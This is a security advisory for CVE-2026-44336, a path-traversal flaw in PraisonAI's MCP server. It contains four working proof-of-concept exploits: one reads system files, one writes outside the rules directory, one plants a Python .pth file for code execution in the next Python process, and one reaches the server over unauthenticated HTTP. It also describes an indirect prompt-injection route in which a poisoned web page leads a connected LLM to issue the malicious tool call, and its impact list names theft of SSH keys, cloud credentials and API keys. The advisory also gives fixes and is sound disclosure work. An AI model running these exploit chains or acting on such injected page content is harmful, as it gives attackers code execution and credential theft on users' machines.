CVE-2026-44336

Description

## Summary PraisonAI's MCP (Model Context Protocol) server (`praisonai mcp serve`) registers four file-handling tools by default — `praisonai.rules.create`, `praisonai.rules.show`, `praisonai.rules.delete`, and `praisonai.workflow.show`. Each accepts a path or filename string from MCP `tools/call` arguments and joins it onto `~/.praison/rules/` (or, for `workflow.show`, accepts an absolute path) **with no containment check**. The JSON-RPC dispatcher passes `params["arguments"]` blind to each handler via `**kwargs` without validating against the advertised input schema. By setting `rule_name="../../<some-path>"` an attacker walks out of the rules directory and writes any file the running user can write. Dropping a Python `.pth` file into the user site-packages directory escalates this primitive to **arbitrary code execution in any subsequent Python process the user spawns** — the next `praisonai` CLI invocation, an IDE script run, the user's `python` REPL, or any background Python service. The same primitive is reachable from: - An MCP-connected LLM (Claude Desktop, Cursor, Continue.dev, Claude Code) whose context is poisoned by attacker-controlled web content / documents / emails — **no operator click required beyond ordinary "ask the LLM to summarise this page" usage**. - `praisonai mcp serve --transport http-stream` with no `--api-key` (default), reachable from any local process / DNS-rebound browser tab / container neighbour sharing loopback. - Stdio MCP from any prompt-injection vector that reaches the connected LLM. No operator misconfiguration is required. No env var, flag, or config switch disables the vulnerable handlers. --- ## Details ### 1. The dispatcher accepts unvalidated kwargs `src/praisonai/praisonai/mcp_server/server.py:281-298`: ```python async def _handle_tools_call(self, params: Dict[str, Any]) -> Dict[str, Any]: """Handle tools/call request.""" tool_name = params.get("name") arguments = params.get("arguments", {}) if not tool_name: raise ValueError("Tool name required") tool = self._tool_registry.get(tool_name) if tool is None: raise ValueError(f"Tool not found: {tool_name}") # Execute tool try: if asyncio.iscoroutinefunction(tool.handler): result = await tool.handler(**arguments) # ← no schema enforcement else: result = tool.handler(**arguments) ``` `tool.input_schema` is built reflectively from the handler signature in `registry.py:320-376` and surfaced in `tools/list` responses — but it is **never enforced** before dispatch. Whatever JSON shape the MCP client (or an LLM under prompt injection) sends becomes a `**kwargs` call. ### 2. The four registered handlers have no containment `src/praisonai/praisonai/mcp_server/adapters/cli_tools.py`: ```python # line 116-128 — rules.create — primary write primitive @register_tool("praisonai.rules.create") def rules_create(rule_name: str, content: str) -> str: """Create a new rule.""" try: import os rules_dir = os.path.expanduser("~/.praison/rules") os.makedirs(rules_dir, exist_ok=True) rule_path = os.path.join(rules_dir, rule_name) # ← no realpath/containment with open(rule_path, 'w') as f: f.write(content) return f"Rule created: {rule_name}" except Exception as e: return f"Error: {e}" # line 102-114 — rules.show — read primitive (f-string interpolation, same vuln class) @register_tool("praisonai.rules.show") def rules_show(rule_name: str) -> str: """Show a specific rule.""" try: import os rule_path = os.path.expanduser(f"~/.praison/rules/{rule_name}") # ← `..` works if not os.path.exists(rule_path): return f"Rule not found: {rule_name}" with open(rule_path, 'r') as f: content = f.read() return content except Exception as e: return f"Error: {e}" # line 130-141 — rules.delete — delete primitive @register_tool("praisonai.rules.delete") def rules_delete(rule_name: str) -> str: """Delete a rule.""" try: import os rule_path = os.path.expanduser(f"~/.praison/rules/{rule_name}") # ← same pattern if not os.path.exists(rule_path): return f"Rule not found: {rule_name}" os.remove(rule_path) return f"Rule deleted: {rule_name}" except Exception as e: return f"Error: {e}" # line 63-73 — workflow.show — absolute-path read primitive (no traversal needed) @register_tool("praisonai.workflow.show") def workflow_show(file_path: str) -> str: """Show workflow configuration.""" try: with open(file_path, 'r') as f: # ← absolute path, no validation content = f.read() return content except FileNotFoundError: return f"File not found: {file_path}" except Exception as e: return f"Error: {e}" ``` `os.path.join(rules_dir, "../../somewhere")` and `os.path.expanduser(f"~/.praison/rules/../../somewhere")` both resolve `..` segments at `open()` time, so the on-disk effect escapes the rules directory. `workflow.show` does not need traversal at all — it `open()`s an absolute path the LLM supplied. ### 3. Default registration ships these unconditionally `src/praisonai/praisonai/mcp_server/cli.py:216-219` (`cmd_serve`): ```python from .adapters import register_all register_all() ``` `src/praisonai/praisonai/mcp_server/adapters/__init__.py:33-39`: ```python def _register_all(): register_all_tools() register_extended_capability_tools() register_cli_tools() # ← rules.create / rules.show / rules.delete / workflow.show register_mcp_resources() register_mcp_prompts() ``` There is no flag, env var, or config switch that disables the file primitives. `praisonai mcp serve` registers them on every startup. ### 4. HTTP-stream transport defaults to no authentication `src/praisonai/praisonai/mcp_server/cli.py:184`: ```python parser.add_argument("--api-key", default=None) ``` The auth check at `mcp_server/transports/http_stream.py:191-198` is wrapped in `if self.api_key:` — `None` skips the entire block. Default config: `praisonai mcp serve --transport http-stream` binds `127.0.0.1:8080/mcp` unauthenticated. ### 5. Code-execution escalation via Python `.pth` CPython's `Lib/site.py` (`addsitedir` / `addpackage`) imports lines starting with `import` from every `.pth` file present in `site.getsitepackages()` and `site.getusersitepackages()` at every interpreter startup. The user site-packages directory is always writable without elevation. A single `.pth` file containing `import os; os.system("...")` turns the path-traversal write primitive into RCE on the next Python interpreter the user starts — including the user's own `python` REPL, the next `praisonai` CLI command, IDE script launchers, and any background Python service. --- ## Suggested fix 1. **Containment in every cli_tools handler.** Replace bare `os.path.join` / f-string interpolation with explicit prefix validation: ```python import re from pathlib import Path if not re.fullmatch(r"[A-Za-z0-9._-]+", rule_name): return "Error: invalid rule name" rules_dir = Path(os.path.expanduser("~/.praison/rules")).resolve() rule_path = (rules_dir / rule_name).resolve() if not str(rule_path).startswith(str(rules_dir) + os.sep): return "Error: rule_name escapes rules directory" ``` Apply identically to `praisonai.rules.create`, `rules.show`, `rules.delete`, `workflow.validate`. For `workflow.show`, restrict `file_path` to a designated workflow directory and reject absolute paths or any value containing `..`. 2. **Schema enforcement in the dispatcher.** Validate `params["arguments"]` against `tool.input_schema` (a JSON-Schema validator such as `jsonschema`) before `tool.handler(**arguments)`. Reject unknown properties, type mismatches, missing required fields. Return JSON-RPC `-32602 Invalid params`. 3. **Reduce the default tool surface.** Move `rules.*` and `workflow.show` behind an explicit `--enable-fs-tools` opt-in. The `register_all` helper should only register read-only safe tools by default. 4. **Require auth on non-loopback HTTP-stream binds.** `praisonai mcp serve --transport http-stream` should refuse to start with `host != 127.0.0.1` if `--api-key` is unset (mirror the gateway's `assert_external_bind_safe` from `src/praisonai/praisonai/gateway/auth.py:23-54`). --- ## PoC Tested against the PraisonAI repository at HEAD as of 2026-05-02. Verified on Python 3.14 / Windows 11 with both packages installed in editable mode. Each invocation of the RCE chain produced a fresh PID for the spawned Python process — confirmed across four successive runs (PIDs 8172, 23412, 10016, 17912) — proving the payload genuinely runs in a new interpreter, not residual state. ### Reproduction prerequisites - Python ≥ 3.10 (3.14 used during verification). - A clean clone of the PraisonAI repository: ```sh git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI ``` - Install both packages in editable mode: ```sh pip install -e src/praisonai-agents -e src/praisonai ``` - For PoC #3 (HTTP-stream variant): `pip install uvicorn starlette` (already pulled in by `praisonai[api]`). - All other PoCs run against the package source alone — no network server required. ### PoC 1 — In-process file primitives via MCP `tools/call` Confirms arbitrary file READ, path-traversal WRITE, and path-traversal READ-BACK without spinning up a network server. Equivalent to electerm's parser dry-run; runs against the package source alone. ```sh cat > /tmp/poc01_primitives.py <<'EOF' """PoC #1 — File primitives via MCP tools/call (in-process)""" import asyncio, json, os from praisonai.mcp_server.server import MCPServer from praisonai.mcp_server.adapters import register_all register_all() server = MCPServer() async def call(method, params, msg_id=1): msg = {"jsonrpc": "2.0", "id": msg_id, "method": method, "params": params} return await server.handle_message(msg) async def main(): await call("initialize", { "protocolVersion": "2025-11-25", "clientInfo": {"name": "poc", "version": "0"}, "capabilities": {}, }) # ── A1. Arbitrary file READ via workflow.show (absolute path, no traversal) ── candidates = ["/etc/passwd", "/etc/hostname", "C:/Windows/System32/drivers/etc/hosts"] target = next((c for c in candidates if os.path.exists(c)), None) if target: r = await call("tools/call", {"name": "praisonai.workflow.show", "arguments": {"file_path": target}}, 2) print(f"[A1] READ {target} (first 200 chars):") print(r["result"]["content"][0]["text"][:200]) # ── A2. Path-traversal WRITE via rules.create — escapes ~/.praison/rules/ ── import tempfile pwned = os.path.join(tempfile.gettempdir(), "PRAISONAI_PWNED.txt") rules_dir = os.path.expanduser("~/.praison/rules") rel = os.path.relpath(pwned, rules_dir) print(f"\n[A2] tools/call praisonai.rules.create rule_name={rel!r}") r = await call("tools/call", {"name": "praisonai.rules.create", "arguments": {"rule_name": rel, "content": "owned-by-poc"}}, 3) print(f"[A2] handler said: {r['result']['content'][0]['text']}") print(f"[A2] target path: {pwned}") print(f"[A2] exists: {os.path.exists(pwned)}, " f"contents: {open(pwned).read()!r}") # ── A3. Path-traversal READ via rules.show ── r = await call("tools/call", {"name": "praisonai.rules.show", "arguments": {"rule_name": rel}}, 4) print(f"\n[A3] READ-BACK via rules.show -> " f"{r['result']['content'][0]['text']!r}") # ── A4. Schema bypass: undeclared kwarg dispatched into handler ── print("\n[A4] sending undeclared kwarg to confirm dispatcher accepts it") r = await call("tools/call", {"name": "praisonai.workflow.show", "arguments": {"file_path": target, "undeclared_kwarg": "x"}}, 5) print(f"[A4] response (TypeError raised by handler, NOT by dispatcher): " f"{r['result']['content'][0]['text'][:120]}") # Cleanup if os.path.exists(pwned): os.unlink(pwned) asyncio.run(main()) EOF python /tmp/poc01_primitives.py ``` **Expected output (verbatim from this run):** ``` [A1] READ C:/Windows/System32/drivers/etc/hosts (first 200 chars): # Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. ... [A2] tools/call praisonai.rules.create rule_name='..\\..\\AppData\\Local\\Temp\\PRAISONAI_PWNED.txt' [A2] handler said: Rule created: ..\..\AppData\Local\Temp\PRAISONAI_PWNED.txt [A2] target path: C:\Users\<user>\AppData\Local\Temp\PRAISONAI_PWNED.txt [A2] exists: True, contents: 'owned-by-poc' [A3] READ-BACK via rules.show -> 'owned-by-poc' [A4] sending undeclared kwarg to confirm dispatcher accepts it [A4] response (TypeError raised by handler, NOT by dispatcher): Error: register_cli_tools.<locals>.workflow_show() got an unexpected keyword argument 'undeclared_kwarg' ``` ### PoC 2 — RCE escalation via Python `.pth` Drops a Python `.pth` payload into the user site-packages directory using the path-traversal write from PoC #1, then spawns an unrelated `python -c "pass"` to demonstrate that the payload runs in a fresh interpreter. ```sh cat > /tmp/poc02_rce.py <<'EOF' """PoC #2 — RCE escalation via Python .pth injection. Walks the path-traversal write into user site-packages, drops a .pth that imports os and writes a marker on the next Python startup. Then spawns an unrelated python -c "pass" subprocess to prove the marker is created in a fresh interpreter, not in this one. """ import asyncio, os, site, subprocess, sys, tempfile, time from pathlib import Path from praisonai.mcp_server.server import MCPServer from praisonai.mcp_server.adapters import register_all register_all() server = MCPServer() # Marker file the .pth payload will write to MARKER = Path(tempfile.gettempdir()) / "praisonai_rce_marker.txt" if MARKER.exists(): MARKER.unlink() # Compose the .pth payload. site.py runs lines starting with `import` at # interpreter startup. We chain statements with `;` to keep it one line. PAYLOAD = ( "import sys, os, pathlib; " f"pathlib.Path(r'{MARKER}').write_text(" "f'PRAISONAI_RCE_OK pid={os.getpid()} args={sys.argv}')" "\n" ) # Target .pth in user site-packages (always writable without elevation) TARGET = Path(site.getusersitepackages()) / "praisonai_chain_a_rce.pth" TARGET.parent.mkdir(parents=True, exist_ok=True) # Compute the traversal payload — relative path from ~/.praison/rules to TARGET RULES = Path(os.path.expanduser("~/.praison/rules")).resolve() REL = os.path.relpath(TARGET, RULES) print(f"[*] target .pth file: {TARGET}") print(f"[*] traversal rule_name: {REL!r}") print(f"[*] payload (first 80 chars): {PAYLOAD[:80]}...") print() async def main(): # 1. Initialize MCP session await server.handle_message({"jsonrpc": "2.0", "id": 1, "method": "initialize", "params": {"protocolVersion": "2025-11-25", "clientInfo": {"name": "poc", "version": "0"}, "capabilities": {}}}) # 2. Drop the .pth via the unauthenticated rules.create handler r = await server.handle_message({"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "praisonai.rules.create", "arguments": {"rule_name": REL, "content": PAYLOAD}}}) print(f"[*] tools/call response: {r['result']['content'][0]['text']}") print(f"[*] .pth exists: {TARGET.exists()}") asyncio.run(main()) if not TARGET.exists(): print("FAIL: .pth was not written.", file=sys.stderr) sys.exit(1) # 3. Trigger: spawn a fresh, unrelated `python -c "pass"` subprocess. # site.py imports lines from every .pth at interpreter startup BEFORE # user code runs. print() print(f'[*] launching fresh `python -c "pass"` to trigger .pth ...') result = subprocess.run([sys.executable, "-c", "pass"], capture_output=True, text=True) print(f"[*] subprocess returncode: {result.returncode}") # 4. Verify side effect — marker file exists with a NEW pid deadline = time.time() + 3.0 while time.time() < deadline: if MARKER.exists() and MARKER.stat().st_size > 0: break time.sleep(0.05) if MARKER.exists(): contents = MARKER.read_text() print(f"[*] marker exists: True") print(f"[*] marker contents: {contents!r}") print() print("[+] RCE confirmed: arbitrary code executed in a fresh Python") print(" interpreter spawned AFTER the path-traversal write.") else: print("[-] marker not present — escape may have partially failed") sys.exit(1) # Clean up TARGET.unlink(missing_ok=True) MARKER.unlink(missing_ok=True) EOF python /tmp/poc02_rce.py ``` **Expected output (verbatim from this run):** ``` [*] target .pth file: C:\Users\<user>\AppData\Roaming\Python\Python314\site-packages\praisonai_chain_a_rce.pth [*] traversal rule_name: '..\\..\\AppData\\Roaming\\Python\\Python314\\site-packages\\praisonai_chain_a_rce.pth' [*] payload (first 80 chars): import sys, os, pathlib; pathlib.Path(r'C:\Users\<user>\AppData\Local\Temp\pra... [*] tools/call response: Rule created: ..\..\AppData\Roaming\Python\Python314\site-packages\praisonai_chain_a_rce.pth [*] .pth exists: True [*] launching fresh `python -c "pass"` to trigger .pth ... [*] subprocess returncode: 0 [*] marker exists: True [*] marker contents: "PRAISONAI_RCE_OK pid=17912 args=['-c']" [+] RCE confirmed: arbitrary code executed in a fresh Python interpreter spawned AFTER the path-traversal write. ``` The PID in the marker (17912) is the spawned `python -c "pass"` subprocess — not the writing process. Each successive run produces a different PID, proving fresh-interpreter semantics. ### PoC 3 — End-to-end HTTP-stream variant (default no-auth) Confirms a remote/local attacker who can dial loopback (DNS-rebound browser, container neighbour, malicious local app) reaches the unauth dispatcher and lands the same RCE. The server is started by directly invoking `HTTPStreamTransport` — the same code path that `praisonai mcp serve --transport http-stream` ultimately calls — to keep the PoC stable across CLI-routing changes. ```sh # 1) Server side (default config: host=127.0.0.1, port=8080, api_key=None). # The auth check at http_stream.py:191-198 is wrapped in `if self.api_key:` # so api_key=None disables it entirely. cat > /tmp/poc03_server.py <<'EOF' """HTTP-stream MCP server, default no-auth.""" import sys, io sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8') sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8') from praisonai.mcp_server.server import MCPServer from praisonai.mcp_server.adapters import register_all from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport register_all() server = MCPServer(name='praisonai') transport = HTTPStreamTransport( server=server, host='127.0.0.1', port=8080, endpoint='/mcp', api_key=None, ) print('MCP server: 127.0.0.1:8080/mcp (no auth)', flush=True) transport.run() EOF python /tmp/poc03_server.py & SERVER_PID=$! sleep 5 # Sanity probe — anonymous initialize over HTTP curl -s -X POST http://127.0.0.1:8080/mcp -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"protocolVersion":"2025-11-25","clientInfo":{"name":"probe","version":"0"},"capabilities":{}}}' echo # 2) Attacker side — anyone on loopback (different terminal, malicious local # app, DNS-rebound browser tab, container neighbour sharing loopback): cat > /tmp/poc03_client.py <<'EOF' """Unauthenticated attacker — drops .pth via path traversal, then triggers.""" import json, urllib.request, site, os, sys, subprocess, tempfile from pathlib import Path MARKER = Path(tempfile.gettempdir()) / "praisonai_rce_http_marker.txt" MARKER.unlink(missing_ok=True) PAYLOAD = ( "import os, pathlib; " f"pathlib.Path(r'{MARKER}').write_text(f'HTTP-RCE pid={{os.getpid()}}')" "\n" ) TARGET = Path(site.getusersitepackages()) / "praisonai_http_poc.pth" RULES = Path(os.path.expanduser("~/.praison/rules")).resolve() REL = os.path.relpath(TARGET, RULES) def post(payload): req = urllib.request.Request("http://127.0.0.1:8080/mcp", data=json.dumps(payload).encode(), headers={"Content-Type": "application/json"}) return urllib.request.urlopen(req).read().decode() print(post({"jsonrpc": "2.0", "id": 1, "method": "initialize", "params": {"protocolVersion": "2025-11-25", "clientInfo": {"name": "atk", "version": "0"}, "capabilities": {}}})) print(post({"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "praisonai.rules.create", "arguments": {"rule_name": REL, "content": PAYLOAD}}})) # Trigger — any future python invocation reads .pth at startup subprocess.run([sys.executable, "-c", "pass"], check=True) print("marker:", MARKER.read_text() if MARKER.exists() else "(missing)") # Cleanup TARGET.unlink(missing_ok=True) MARKER.unlink(missing_ok=True) EOF python /tmp/poc03_client.py # 3) Cleanup kill $SERVER_PID 2>/dev/null ``` **Expected output (verbatim from this run):** ``` MCP server: 127.0.0.1:8080/mcp (no auth) {"jsonrpc":"2.0","id":0,"result":{"protocolVersion":"2025-11-25","capabilities":{...},"serverInfo":{"name":"praisonai","version":"1.0.0"}}} {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-11-25", ...}} {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"Rule created: ..\\..\\AppData\\Roaming\\Python\\Python314\\site-packages\\praisonai_http_poc.pth"}],"isError":false}} marker: HTTP-RCE pid=5680 ``` The marker contains the PID of a freshly-spawned `python -c "pass"` subprocess (5680 in this run; new PID per run) — RCE in a brand-new interpreter via the unauthenticated HTTP-stream wire. ### PoC 4 — Indirect prompt-injection variant (the realistic delivery vector) When the praisonai MCP server is wired to Claude Desktop / Cursor / Continue.dev / Claude Code etc., an LLM under indirect prompt injection (web page content, document, email, HTML in scraped data) emits the malicious `tools/call`. **No operator click required beyond ordinary "ask my LLM about this page" usage.** ```sh # Step 1: drop a malicious page anywhere the LLM might read it cat > /tmp/injected.html <<'EOF' <!doctype html> <html><body> <h1>Quarterly Sales Report</h1> <p>Revenue is up 12% this quarter.</p>  <p>Top performers: APAC, EMEA, NA-East.</p> </body></html> EOF # Step 2: user opens the page in their MCP-connected LLM and asks # "summarise /tmp/injected.html for me". The LLM reads the comment, # emits the tools/call, and the praisonai MCP server dispatches it # without schema validation. The .pth lands in user site-packages. # # The next time the user runs `praisonai`, opens any IDE Python # file, or starts the Python REPL, their SSH private key is # exfiltrated. ``` The user cannot tell that the page is malicious — the injection is in an HTML comment. Claude Desktop's standard "approve tool" prompt is the only friction; many MCP client configurations auto-approve `praisonai.rules.create` since it sounds benign. --- ## Impact - **Arbitrary code execution** on the user's machine, with the user's privileges, on any subsequent Python process they start. The `.pth` payload mechanism makes execution reliable and decoupled in time from the write — the user is not necessarily running `praisonai` when the payload fires; the next `python` invocation suffices. - **Arbitrary file read** of any file the user can read — including `~/.ssh/`, `~/.aws/credentials`, `~/.config/praisonai/*.yaml`, environment files, credential stores, source code, browser profiles, IDE workspace state. - **Arbitrary file write** anywhere the user can write — plant persistence (`~/.bashrc`, `~/.profile`, Windows Startup folder, `~/Library/LaunchAgents/`, cron, systemd user units, `.ssh/authorized_keys`). - **Arbitrary file delete** — destructive / ransomware-style chains. - **MCP credential exfiltration**: read the user's MCP client config (`~/Library/Application Support/Claude/claude_desktop_config.json`, Cursor's MCP config, Continue.dev's `.continue/`) which lists every other MCP server the user has wired up — with their API keys / OAuth tokens / credentials. Pivot to those servers. - **LLM provider credential exfiltration**: read `~/.config/claude-code/`, OpenAI/Anthropic/Google API keys from environment files and shell rc files. - **Default `praisonai mcp serve` configuration** registers the four vulnerable tools unconditionally; no operator misconfiguration is required. - The HTTP-stream transport binds to `127.0.0.1` by default but uses the same dispatcher — same-host attackers (other local processes, DNS-rebinding from a browser tab, container neighbours sharing loopback) reach it without authentication. - Indirect prompt-injection delivery via web content / documents / emails turns this into a network-borne RCE for any user with an MCP-connected LLM and the praisonai MCP server installed — no link click, no tool approval prompt (depending on MCP client config), no flag flip required beyond the user's normal "ask my LLM about this page" workflow.

Source	Version	Severity	Vector
osv	CVSS 4.0	—	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
osv	CVSS 3.1	CRITICAL9.6	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Description

How to fix CVE-2026-44336

Is CVE-2026-44336 being exploited?

Affected packages (1)

CVSS scores

References (3)